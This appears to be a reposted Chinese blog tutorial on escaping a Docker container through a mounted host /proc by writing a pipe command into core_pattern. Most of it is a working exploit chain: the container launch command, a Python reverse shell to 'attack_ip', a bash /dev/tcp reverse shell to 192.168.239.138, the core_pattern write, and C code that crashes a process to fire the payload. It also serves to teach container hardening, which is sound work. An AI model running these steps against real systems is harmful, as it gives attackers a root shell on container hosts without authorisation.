Docker逃逸---procfs文件挂载

2023-10-16 03:28
文章标签 docker 挂载 逃逸 procfs

本文主要是介绍Docker逃逸---procfs文件挂载,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、产生原因

将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是| 管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该文件,同时运行进程崩溃代码,执行恶意文件

二、利用条件

1、容器内挂载了宿主机的/proc目录

2、容器以root权限运行

三、复现过程

1、启动容器,挂载/proc目录

docker run  -itd -v /proc:/etc_proc --name=docker_escape ubuntu:18.04 /bin/bash

2、寻找容器在宿主机上的目录路径

cat /proc/mounts | grep docker

这就是容器在宿主机上的目录路径 

我们在容器内创建的文件最终都会保存在宿主机中 

3、写反弹shell脚本到/tmp目录下

这里可以写Python,也可以写shell脚本

Python:

root@8ba918290061:/# cat >/tmp/.x.py << EOF
> #!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     s.connect((lhost, lport))
>     os.dup2(s.fileno(), 0)
>     os.dup2(s.fileno(), 1)
>     os.dup2(s.fileno(), 2)
>     os.putenv("HISTFILE", '/dev/null')
>     pty.spawn("/bin/bash")
>     os.remove('/tmp/.x.py')
>     s.close()
> if __name__ == "__main__":
>     main()
> EOF

需要容器内有Python环境 

 shell:

#!/bin/bashbash -i >& /dev/tcp/192.168.239.138/2333 0>&1

最后别忘了加执行权限

chmod +x /tmp/exp.sh

4、在文件中/proc/sys/kernel/core_pattern 写入恶意文件

root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore           " > /etc_proc/sys/kernel/core_pattern

写入后,当进程崩溃后,该文件内管道符| 后的文件会被执行,从而执行了我们的exp.sh文件,反弹shell

5、执行c代码,使进程崩溃

#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

最后加执行权限,编译后执行

chmod +x payload.c
gcc payload.c -o payload
./payload

成功反弹shell 

这篇关于Docker逃逸---procfs文件挂载的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/218695

相关文章

Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法

《Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法》在Linux系统中,管理磁盘设备和分区是日常运维工作的重要部分,而lsblk命令是一个强大的工具,它用于列出系统中的块设备(blockde... 目录1. 查看所有磁盘的物理信息方法 1:使用 lsblk(推荐)方法 2:使用 fdisk -l(

linux lvm快照的正确mount挂载实现方式

《linuxlvm快照的正确mount挂载实现方式》:本文主要介绍linuxlvm快照的正确mount挂载实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux lvm快照的正确mount挂载1. 检查快照是否正确创建www.chinasem.cn2.

ubuntu如何部署Dify以及安装Docker? Dify安装部署指南

《ubuntu如何部署Dify以及安装Docker?Dify安装部署指南》Dify是一个开源的大模型应用开发平台,允许用户快速构建和部署基于大语言模型的应用,ubuntu如何部署Dify呢?详细请... Dify是个不错的开源LLM应用开发平台,提供从 Agent 构建到 AI workflow 编排、RA

Docker安装MySQL镜像的详细步骤(适合新手小白)

《Docker安装MySQL镜像的详细步骤(适合新手小白)》本文详细介绍了如何在Ubuntu环境下使用Docker安装MySQL5.7版本,包括从官网拉取镜像、配置MySQL容器、设置权限及内网部署,... 目录前言安装1.访问docker镜像仓库官网2.找到对应的版本,复制右侧的命令即可3.查看镜像4.启

debian12安装docker的实现步骤

《debian12安装docker的实现步骤》本文主要介绍了debian12安装docker的实现步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 目录步骤 1:更新你的系统步骤 2:安装依赖项步骤 3:添加 docker 的官方 GPG 密钥步骤

Windows Docker端口占用错误及解决方案总结

《WindowsDocker端口占用错误及解决方案总结》在Windows环境下使用Docker容器时,端口占用错误是开发和运维中常见且棘手的问题,本文将深入剖析该问题的成因,介绍如何通过查看端口分配... 目录引言Windows docker 端口占用错误及解决方案汇总端口冲突形成原因解析诊断当前端口情况解

Docker镜像修改hosts及dockerfile修改hosts文件的实现方式

《Docker镜像修改hosts及dockerfile修改hosts文件的实现方式》:本文主要介绍Docker镜像修改hosts及dockerfile修改hosts文件的实现方式,具有很好的参考价... 目录docker镜像修改hosts及dockerfile修改hosts文件准备 dockerfile 文

Docker镜像pull失败两种解决办法小结

《Docker镜像pull失败两种解决办法小结》有时候我们在拉取Docker镜像的过程中会遇到一些问题,:本文主要介绍Docker镜像pull失败两种解决办法的相关资料,文中通过代码介绍的非常详细... 目录docker 镜像 pull 失败解决办法1DrQwWCocker 镜像 pull 失败解决方法2总

通过Docker Compose部署MySQL的详细教程

《通过DockerCompose部署MySQL的详细教程》DockerCompose作为Docker官方的容器编排工具,为MySQL数据库部署带来了显著优势,下面小编就来为大家详细介绍一... 目录一、docker Compose 部署 mysql 的优势二、环境准备与基础配置2.1 项目目录结构2.2 基

关于Docker Desktop的WSL报错问题解决办法

《关于DockerDesktop的WSL报错问题解决办法》:本文主要介绍关于DockerDesktop的WSL报错问题解决办法的相关资料,排查发现是因清理%temp%文件夹误删关键WSL文件,... 目录发现问题排查过程:解决方法其实很简单:重装之后再看就能够查到了:最后分享几个排查这类问题的小www.cp